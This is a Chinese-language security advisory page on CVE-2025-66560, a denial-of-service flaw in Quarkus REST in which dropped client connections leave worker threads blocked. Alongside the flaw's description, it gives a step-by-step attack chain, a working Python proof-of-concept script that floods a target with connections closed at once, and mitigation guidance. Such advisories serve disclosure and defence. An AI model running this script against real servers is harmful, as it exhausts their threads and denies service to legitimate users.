IPBUF安全漏洞报告
English
CVE-2025-66560 CVSS 5.9 中危

CVE-2025-66560: Quarkus REST 线程阻塞拒绝服务漏洞

披露日期: 2026-01-07

漏洞信息

漏洞编号
CVE-2025-66560
漏洞类型
拒绝服务 (DoS)
CVSS评分
5.9 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Quarkus REST

相关标签

拒绝服务DoSQuarkus线程阻塞云原生JavaRESTHTTPCVE-2025-66560资源耗尽

漏洞概述

CVE-2025-66560是Quarkus框架中的一个拒绝服务漏洞。Quarkus是一个面向云原生的(Linux)容器优先的Java应用框架。该漏洞存在于Quarkus REST的HTTP层响应处理机制中。在受影响版本中,当框架正在写入响应时,会等待先前写入的响应块完全传输后再继续处理。如果在此等待期间客户端连接意外断开,相关的工作线程将永远不会释放,导致线程永久阻塞。在持续或重复发生此类情况时,可用的工作线程会被耗尽,最终导致应用程序性能严重下降或完全不可用。攻击者无需认证即可利用此漏洞,且无需特殊用户交互。由于CVSS评分为5.9(中危),该漏洞虽然不会直接导致数据泄露或完整性破坏,但会对服务可用性造成严重影响。

技术细节

该漏洞的核心问题在于Quarkus REST的HTTP响应处理逻辑存在缺陷。当服务器向客户端发送响应时,框架采用同步方式等待响应块传输完成。具体流程如下:1) 服务器开始写入响应数据;2) 框架调用底层网络I/O发送数据;3) 在数据发送完成前,框架会阻塞当前工作线程等待确认;4) 如果客户端在此期间断开连接,底层的I/O操作会异常但上层框架未能正确捕获和处理这种异常情况;5) 工作线程陷入永久阻塞状态,既无法继续处理请求也无法释放回线程池。由于Quarkus默认配置的工作线程池大小有限,攻击者可以通过快速建立连接后立即断开的方式,批量占用工作线程。当线程池耗尽后,合法用户的请求将无法获得处理线程,导致服务不可用。这种攻击方式不需要认证,攻击者只需能够建立HTTP连接即可发起攻击。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标服务器运行Quarkus REST应用,确认版本是否在受影响范围内(<3.20.5, <3.27.2, <3.31.0)
STEP 2
步骤2: 建立恶意连接
攻击者通过HTTP客户端(如socket、curl、ab等)向目标服务器发起HTTP请求,建立TCP连接
STEP 3
步骤3: 发送请求后立即断开
攻击者发送HTTP请求行和头部后,在服务器开始发送响应数据之前立即断开TCP连接或关闭客户端
STEP 4
步骤4: 触发线程阻塞
服务器在等待响应块传输完成时检测到连接断开,但由于异常处理缺陷,工作线程未能正确释放而是进入永久阻塞状态
STEP 5
步骤5: 耗尽线程池
攻击者重复执行上述操作,每次占用一个工作线程。当可用工作线程被完全耗尽后,新请求将无法被处理
STEP 6
步骤6: 服务不可用
线程池耗尽导致应用程序性能严重下降或完全拒绝服务,合法用户无法访问应用功能

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import socket import time import threading # PoC for CVE-2025-66560 - Quarkus REST Thread Exhaustion DoS # This script demonstrates how rapid connection drops can exhaust worker threads TARGET_HOST = 'target-server.example.com' TARGET_PORT = 8080 NUM_CONNECTIONS = 50 # Number of rapid connections to make DELAY = 0.01 # Delay between connections in seconds def attack_connection(): """Establish a connection and drop it immediately to trigger thread blocking""" try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) sock.connect((TARGET_HOST, TARGET_PORT)) # Send partial HTTP request sock.sendall(b'GET /api HTTP/1.1\r\nHost: ' + TARGET_HOST.encode() + b'\r\n\r\n') # Immediately close connection before response is sent sock.close() except Exception as e: pass def run_poc(): print(f"[*] Starting DoS attack against {TARGET_HOST}:{TARGET_PORT}") print(f"[*] Launching {NUM_CONNECTIONS} rapid connections...") threads = [] for i in range(NUM_CONNECTIONS): t = threading.Thread(target=attack_connection) t.start() threads.append(t) time.sleep(DELAY) for t in threads: t.join() print("[*] Attack completed. Check server thread pool status.") if __name__ == '__main__': run_poc()

影响范围

Quarkus REST < 3.20.5
Quarkus REST 3.21.x - 3.27.1
Quarkus REST 3.28.x - 3.30.x

防御指南

临时缓解措施
在未安装官方补丁之前,建议实施以下临时缓解措施:1) 部署健康检查端点,监控工作线程池的状态和饱和度,当检测到异常线程保留时应触发告警或自动重启;2) 在负载均衡器层面配置连接超时和请求超时,限制单个连接占用资源的时间;3) 使用WAF或IPS设备检测并阻止异常的快速连接建立和断开模式;4) 考虑限制暴露在公网的Quarkus REST端点,通过防火墙规则减少攻击面;5) 实施速率限制(Rate Limiting),防止单一来源的快速请求耗尽线程资源。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表